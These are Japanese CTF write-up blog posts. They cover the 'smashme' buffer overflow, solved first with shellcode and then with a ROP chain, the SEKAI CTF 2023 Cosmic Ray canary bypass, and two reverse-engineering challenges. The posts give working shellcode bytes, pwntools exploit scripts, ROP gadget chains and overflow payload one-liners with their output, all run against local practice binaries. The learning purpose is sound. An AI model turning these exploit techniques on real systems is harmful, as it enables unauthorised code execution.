$ (python2 -c 'print "\x48\x31\xf6\x56\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xd2\x0f\x05" + "Smash me outside, how bout dAAAAAAAAAAA" + "\x90\x90\x90\x90\x90" + "\x1b\x4e\x4c\x00\x00\x00\x00\x00"') | ./smashme Welcome to the Dr. Phil Show. Wanna smash?
である。 これを実行してもシェルは開かなかったのだが、GDBで確認するとSYSCALL前のレジスタやメモリの状況としては完全に想定したものになっていた。
ここで、同じシェルコードをPython2のpwntoolsから注入することでシェルを開くことができた。
from pwn import * r=process('./smashme') r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?") r.sendline("\x48\x31\xf6\x56\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xd2\x0f\x05" + "Smash me outside, how bout dAAAAAAAAAAA" + "\x90\x90\x90\x90\x90" + "\x1b\x4e\x4c\x00\x00\x00\x00\x00") r.interactive()
$ python2 exploit.py [+] Starting local process './smashme': pid 4578 [*] Switching to interactive mode $ cat flag.txt TAKEO{You_got_the_flag!}
シェルが開いているので、ディレクトリにあるファイルを見たり、ファイルを作ったり消したりと(権限の範囲で)何でもすることができる。 catコマンドで用意しておいたflagを表示させて終了。
結局pwntoolsからでないとうまくいかない理由は分からなかったが、何とか標準入力で成功させようと試行錯誤して2日ほど無駄にしてしまった。 最初 JMP RDI ではなく CALL RDI に飛ぼうと思っていたが、標準入力を使った場合はCALL命令が実行できないという問題もあった。 最初から素直にツールを使いましょう(1敗)
試行錯誤の過程でかなりアセンブリに対する理解は深まった気がするのでいいということにしておく。
ROPについて
smashmeでは外部から命令を注入してシェルを開くことに成功したが、NX bitが有効になっている場合にはそもそもスタック領域のデータを命令として実行することはできない。 こういった場合に用いられる攻撃手法がROP(Return Oriented Programming)である。
ROPはプログラム中に元々存在する命令だけを使って任意コード実行を行う手法で、スタックバッファオーバーフローの脆弱性を利用してスタック領域にあらかじめデータを仕込んでおき、RET命令で終わるコード片に順番にジャンプし続けるというもの。
smashmeをROPで解く
当初は「入門 セキュリティコンテスト」に載っている baby_stack という問題を解こうと思っていたのだが、どうしても解法をなぞるだけになってしまうので代わりにsmashmeをROPで解いてみることにした。
解法
シェルコードによる解法と同じく、目的はシェルを開くこと(RAX, RDI, RSI, RDXに値を入れ、SYSCALL命令を呼び出すこと)である。
まずはrp++を使って目的のコード片(ガジェット)を探す。
$ ./rp-lin-x64 --file=smashme --rop=5 | grep "pop rax ; ret" 0x004c3b26: add byte [rax], al ; pop rax ; ret ; (1 found) 0x004099f2: and al, 0xE8 ; pop rax ; retn 0xFFFF ; (1 found) 0x004c3b28: pop rax ; ret ; (1 found) 0x004099f4: pop rax ; retn 0xFFFF ; (1 found)
実行ファイルの中に目当てのガジェットがない場合は途中で別の命令が挟まったもので代用する必要があるとのことだが、今回は必要な命令をすべて単体で見つけることができた。
0x004c3b28: pop rax ; ret ; (1 found) 0x004014d6: pop rdi ; ret ; (1 found) 0x004015f7: pop rsi ; ret ; (1 found) 0x00441e46: pop rdx ; ret ; (1 found) 0x00479b62: mov qword [rdi], rsi ; ret ; (1 found) 0x004003da: syscall ; (1 found)
これらの命令を組み合わせてシェルを開くコードを作る。 POPやRETではスタックから値を取り出してレジスタにロードするので、ガジェットのアドレスとロードしたい値を交互にスタックに書き込んでいき、最初のアドレスがmain関数のリターンアドレスを上書きするように位置を調整する。 今回はスタック領域で命令を実行するわけではないのでキー文字列を最初に持ってくることができて、null文字がなくなるようにコードを調整する必要はない。
シェルコードの場合は途中で "/bin//sh" の文字列をスタックにPUSHしてRSPレジスタの値を第一引数としていたが、今回はスタックから値を取り出していくのでこの方法は使えない(入力する文字列を"/bin/sh"から開始すればRDIレジスタの値がパスの先頭アドレスを指していることになるが、パスの最後に終端文字を入れることができない)
そこでスタックからパスを一度取り出して.bssセクションに書き込んでいる。 .bssは初期値をもたない変数を格納するセクションであり、その性質上常に書き込み可能な領域である。
# coding: utf-8 from pwn import * r = process("./smashme") r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?") bss = 0x6cab60 # bss領域の先頭アドレス rop_chain = "" # RDIにBSS領域の先頭アドレスを格納し、そのアドレスに"/bin/sh\x00"を書き込む rop_chain += p64(0x004014d6) # pop rdi ; ret ; rop_chain += p64(bss) rop_chain += p64(0x004015f7) # pop rsi ; ret ; rop_chain += "/bin/sh\x00" rop_chain += p64(0x00479b62) # mov qword [rdi], rsi ; ret ; # 各引数に値を格納する rop_chain += p64(0x004c3b28) # pop rax ; ret ; rop_chain += p64(0x3b) rop_chain += p64(0x004015f7) # pop rsi ; ret ; rop_chain += p64(0x0) rop_chain += p64(0x00441e46) # pop rdx ; ret ; rop_chain += p64(0x0) # SYSCALL命令を実行 rop_chain += p64(0x004003da) # syscall ; r.sendline("Smash me outside, how bout dAAAAAAAAAAA" + "\x00" * 33 + rop_chain) r.interactive()
これを実行すると、シェルを開いてフラッグの内容を表示することができた。
$ python2 exploit.py [+] Starting local process './smashme': pid 1738 [*] Switching to interactive mode $ cat flag.txt TAKEO{You_got_the_flag!}
感想
今回はsmashmeという問題を2つの手法を使って解いてみた。
開始から記事を書き終えるまで5日ほどかかっているが、実際に自分でやってみることでかなり勉強になった。 パソコンを使っていると「脆弱性」という言葉はよく聞くが、脆弱性の種類によっては簡単に任意コード実行に繋げられるということで、その重大さがよりリアルなものとして感じられるようになった気がした。
標準入力からだとSYSCALLがうまくいかなかった理由が分かる人がいたら教えてください。
Project SEKAI CTF 2023復習:Cosmic Ray (Pwn)
Cosmic Ray
Project SEKAI CTF 2023のPwnジャンルにおける難易度1の問題だった。 コンテスト中に解こうとして少しチャレンジしたが解けなかった。
あんまりよくわかってないので、「入門 セキュリティコンテスト」を見ながら復習。
問題概要
与えられたバイナリファイルを実行すると、
$ ./cosmicray Welcome to my revolutionary new cosmic ray machine! Give me any address in memory and I'll send a cosmic ray through it: 0x0 |0|1|2|3|4|5|6|7| ----------------- |0|0|0|0|0|0|0|0| Enter a bit position to flip (0-7): 0 Bit succesfully flipped! New value is -128 Please write a review of your experience today: good
メモリアドレスを入力→bitのindexを入力→(指定したアドレスの指定したbitが反転する)→感想を入力→(終了)
となる。
解法
まず、感想を入力する際に長い文字列を入力すると異常終了することに気づく。
Please write a review of your experience today: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ *** stack smashing detected ***: terminated Aborted
しかし、このとき"stack smashing detected"と表示されているので何らかの方法でスタックバッファオーバーフローを検知して強制終了していると考えられる。
Ghidraで逆コンパイルしてみると、関数名の情報が残っているので簡単にmain関数が見つかる
undefined8 main(void) { long in_FS_OFFSET; undefined8 local_40; char local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdout,(char *)0x0); puts("Welcome to my revolutionary new cosmic ray machine!"); puts("Give me any address in memory and I\'ll send a cosmic ray through it:"); __isoc99_scanf("0x%lx",&local_40); getchar(); cosmic_ray(local_40); puts("Please write a review of your experience today:"); gets(local_38); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
これを見ると、40バイト以上の感想を入力すると強制終了されるらしい。具体的には、in_FS_OFFSET+40の値が変わっていると弾かれることがわかる(カナリアチェック)
さらに詳しく調べると内部にwinという名前の関数があり、"./flag.txt"の内容を表示するようなので、これを呼び出すことができればFlagを取得できそうだ。 バッファオーバーフローで関数の戻りアドレスを書き換えてwin関数に飛ばせばクリアできそうだが、カナリアチェックを突破する必要がある。
今回は元々のプログラムの機能として任意のbitを反転させることができるため、これを使って突破することを考える。
カナリアチェックの際にJZ命令(0x74)が使われているが、これをJNZ命令(0x75)に書き換えることで「カナリアの値が変わっていなければ強制終了」という挙動に変更できると考えられる。 ここで、実行ファイルにchecksecを適用すると、PIEが適用されていないことがわかる。つまり、命令や関数のメモリアドレスは常に固定となる。
$ checksec --file=cosmicray RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 54) Symbols No 0 4 cosmicray
Ghidraを使うとJZ命令のアドレスがわかるので、このアドレスの7bit目を反転させると予定通り短い感想で強制終了されるようになった。
Welcome to my revolutionary new cosmic ray machine! Give me any address in memory and I'll send a cosmic ray through it: 0x4016f4 |0|1|2|3|4|5|6|7| ----------------- |0|1|1|1|0|1|0|0| Enter a bit position to flip (0-7): 7 Bit succesfully flipped! New value is 117 Please write a review of your experience today: test *** stack smashing detected ***: terminated Aborted
これでカナリアチェックを突破できたので、感想の内容で関数のリターンアドレスを書き換えていく。 そのためには
- 感想が記録されるメモリアドレスの先頭
- main関数のリターンアドレスが記録されているメモリアドレスの先頭
- win関数のアドレス
を知る必要がある。
感想が記録されるメモリアドレスの先頭は、Teyvat Travel Guideの要領でアセンブリを見て、GDBでレジスタを参照することで調べることができた(0x7fffffffe070)
関数のリターンアドレスは、GDBでmain関数のRET命令で止めたときのスタックの一番上の値。
更に、xコマンドでwin関数のメモリアドレスとその値を表示することができる。
gdb-peda$ x win 0x4012d6 <win>: 0xfa1e0ff3
0x7fffffffe070から0x7fffffffe0a8までは56バイトあるので、適当な56文字に0x4012d6を接続した文字列を感想として入力すればmain関数のリターンアドレスをwin関数のアドレスで上書きすることができる。
よって
$ (python2 -c 'print "0x4016f4";print "7";print "a"*56 + "\xd6\x12\x40\x00\x00\x00\x00\x00"') | ./cosmicray Welcome to my revolutionary new cosmic ray machine! Give me any address in memory and I'll send a cosmic ray through it: |0|1|2|3|4|5|6|7| ----------------- |0|1|1|1|0|1|0|0| Enter a bit position to flip (0-7): Bit succesfully flipped! New value is 117 Please write a review of your experience today: TAKEO{You_got_the_flag!} Segmentation fault
となり、flag.txtの内容を表示することができた(コンテストサーバーは閉じてしまっているので、ローカルに適当なflagを用意した)
余談
アドレスを書き換えるためには感想として任意のバイト列を入力できる必要がある。 bashでは難しいのでPythonを使ったのだが、いろいろ調べてみてもこういう場合には大抵Python2が使われているようで、実際にPython3ではなぜかうまく行かなかった。
$ python2 -c 'print "a"*56 + "\xd6\x12\x40\x00\x00\x00\x00\x00"' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�@ $ python3 -c 'print("a"*56 + "\xd6\x12\x40\x00\x00\x00\x00\x00")' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÖ@
print関数で同じ文字列を出力してみても、実際に表示されたものは異なっていた。 この仕組みを知っている人がいたら教えてください。
追記
Twitterで回答を募集したところ、kaitoさんに教えていただきました。
$ (python3 -c 'import sys;sys.stdout.buffer.write(b"0x4016f4\n" + b"7\n" + b"a"*56 + b"\xd6\x12\x40\x00\x00\x00\x00\x00\n");') | ./cosmicray Welcome to my revolutionary new cosmic ray machine! Give me any address in memory and I'll send a cosmic ray through it: |0|1|2|3|4|5|6|7| ----------------- |0|1|1|1|0|1|0|0| Enter a bit position to flip (0-7): Bit succesfully flipped! New value is 117 Please write a review of your experience today: TAKEO{You_got_the_flag!} Segmentation fault
Python3でバイト列を出力するためにはsys.stdout.buffer.write()を使う必要があるそうです。 importを書く必要があることや、関数の短さなどを考慮するとPwn界隈で未だにPython2が使われている理由もわかった気がしました。
Project SEKAI CTF 2023に初心者チームで出た
経緯
いつもボードゲームや謎解きをして遊んでいるグループでProject SEKAI CTF 2023にチームで参加する人を募集していたので参加してみた。 プロセカはやったことなかったが、コンテストページのUIがプロセカ仕様?ですごく凝っていた。
前回のチャレンジは↓ takeo1116.hatenablog.com
僕は前回と同じくreverseカテゴリの問題を一人で解いていた。
Azusawa's Gacha World
問題概要
Unityでビルドされたガチャアプリが与えられる。
小豆沢こはねHAPPY BIRTHDAYガチャを引くことができるが、100石しか持っていないので1回しか引くことができない。ガチャ詳細を見ると最大レアリティである「[Happy Birthday!!2023] 小豆沢こはね」の出現確率が0%となっており、100万回引くと必ず手に入ると書かれている。
解法
Unityアプリなので、Managedディレクトリにあるdllをいじればなんとかなるだろうと当たりをつける。 見るとライブラリ系のDLLに交じってAssembly-CSharp.dllというファイルがあるので、とりあえずこれをGhidraにかけてみるもC#なので逆コンパイルまではできなかった。かろうじて石消費の処理を見つけてガチャを引くたびに石が増えるようにバイナリエディタで書き換えることはできたが、石が無限だったところでガチャを100万回引くことはどちらにしろ現実的ではない。
調べると、DnSpyというツールを使えばdotnetの逆コンパイルだけではなく書き換えまでできるということだった。
早速使ってみると、バイナリやアセンブリを解さずにdllの中身を直接コーディングするかのように書き換えることができた。 編集し終わったあと、対象のdllファイルをDnSpyからRemoveしないと反映されないことに注意。
難読化されていないdotnetアプリは逆コンパイルすると変数名やリテラルまでそのまま残っているというのは知らなかったので驚いた。 なんにせよ、これで100万回目だけを引くことができるので、100石で「[Happy Birthday!!2023] 小豆沢こはね」を手に入れてAC。
Teyvat Travel Guide
問題概要
netcatのコマンドと、解析用のバイナリファイルが与えられる。
解法
与えられたバイナリを実行すると、48×48のマップが表示される(幅の都合で省略)。 左上にX印がついているが、説明などは表示されない。
Start travelling... +---+---+---+---+---+---+-- | X | | | | | | +---+---+---+---+---+---+-- | | | | | | | +---+---+---+---+---+---+-- | | | | | | | +---+---+---+---+---+---+-- | | | | | | | +---+---+---+---+---+---+-- | | | | | | | +---+---+---+---+---+---+-- | | | | | | |
問題タイトルやコンテストページのフレーバーから、左上に自分がいて、マップを歩くゲームだと解釈した。 入力待ちになっているのだが、何かを入力しても
The loneliness of death...
と表示されて終了してしまう(死んだということだろう)
何もわからないのでGhidraで解析して探っていくことにした。逆コンパイルしてみるも、関数名などの情報がすべて失われているので非常に読みにくい。 画面に"Start travelling..."という文字列が表示されていることから、この文字列が格納されている場所を調べることで目的の関数を見つけることができた。 これを手掛かりにコードを解析したり、実際に動かしたり、バイナリを書き換えて挙動を調べたりすることでかなり時間をかけつつもゲームのルールを理解できた。
- プレイヤーは48×48のマップの左上にいる。
- プレイヤーは値を持っており、333からスタートする(これをHPと解釈した。)
- 1ターンごとに"R"または"D"を入力することで、右か下に1マスずつ進むことができる(それ以外を入力すると即死する。)
- 各マスには値が設定されており、踏んだマスの値がHPに加算される(基本的には負の値なのでダメージとなるが、正の値もある。)
- HPが0以下になったら死ぬ。
- 残りHPがちょうど1の状態でマップの右下(The edge of tayvat)にたどり着くとクリアとなる。
ゲームをクリアするためには各マスのダメージを知る必要がある。 逆コンパイルしたコードを調べれば生成ロジックが分かりそうだが、読むのが難しいので動的にメモリを参照できないかと考えた。
Linuxで動作しているプロセスのメモリを動的に解析する方法を調べたところ、gdb-pedaが便利ということだったので導入した。 gdb-pedaを使うと命令単位でブレークポイントを設定して、その時点でのメモリの状態を参照することができる。
Ghidraでアセンブリのニーモニックを見ながらマップ配列のアドレスがレジスタにロードされる場所に当たりをつけ、そこにgdb-pedaでブレークポイントを設定することでメモリアドレスを取得、そこからの配列の値を調べることができた。
配列の値が分かったら、実際にマップ上を移動してメモリ上でHPの変化を見ながらマップに対してどういう並びで値が設定されているのかを調べていく。 今回の場合マップには48×48=2304個のマスがあるが、配列の先頭から2304個が各マスに順番に入っているのではなく、配列の途中に0が16個並んでいる箇所が2つあり、その32個の0は無視されているようだった。 よって、左上には配列の0番目の値が、右下には配列の2335番目の値がダメージとして設定されているということになる。
こうしてすべてのマスのダメージ値が分かったら、左上から右下へ死なないように歩くときの最小ダメージ値は簡単なDPで求めることができて、その答えは332となる。 経路復元をすると
DDDDDRRDDRRRDRDDRDRDDRRDRRRRRDRRDDRRDDDRDRRDRDRRRDDRRRDRDRRRRDDDRRRDDRRRRRDDDDDRRDDRRDDRDDDDDD
となるので、この通りに移動すればゲームをクリアしてflagをゲットできた。
The edge of Teyvat... SEKAI{Klee_was_a_brave_girl_today!_I_found_a_really_weird-looking_lizard!_Want_me_to_show_it_to_you?}
結果
チームとしては、3004ポイント獲得で25位/981チームだった。 CTF初心者チームなのだが、僕以外のチームメイトのAtCoderレーティングが高すぎる(赤、橙、橙)ためにPPCジャンル(競プロっぽい問題が分類されるジャンル)の問題を全完していた。 僕が個人で取れたポイントは500ポイントなので、初心者なりの活躍といった感じだった。
前回のSECCON BeginnerでReverseジャンルの問題を練習したので今回もReverseの問題をやっていたが、2問目に解いたTeyvat Travel Guideは難しい寄りの問題だったらしく31チームしか解けてなかったので、それが解けたのは良かった。 最終日にPwnジャンルのCosmic Rayという問題にチャレンジしていたのだが結局解けなかったので、後で復習したい。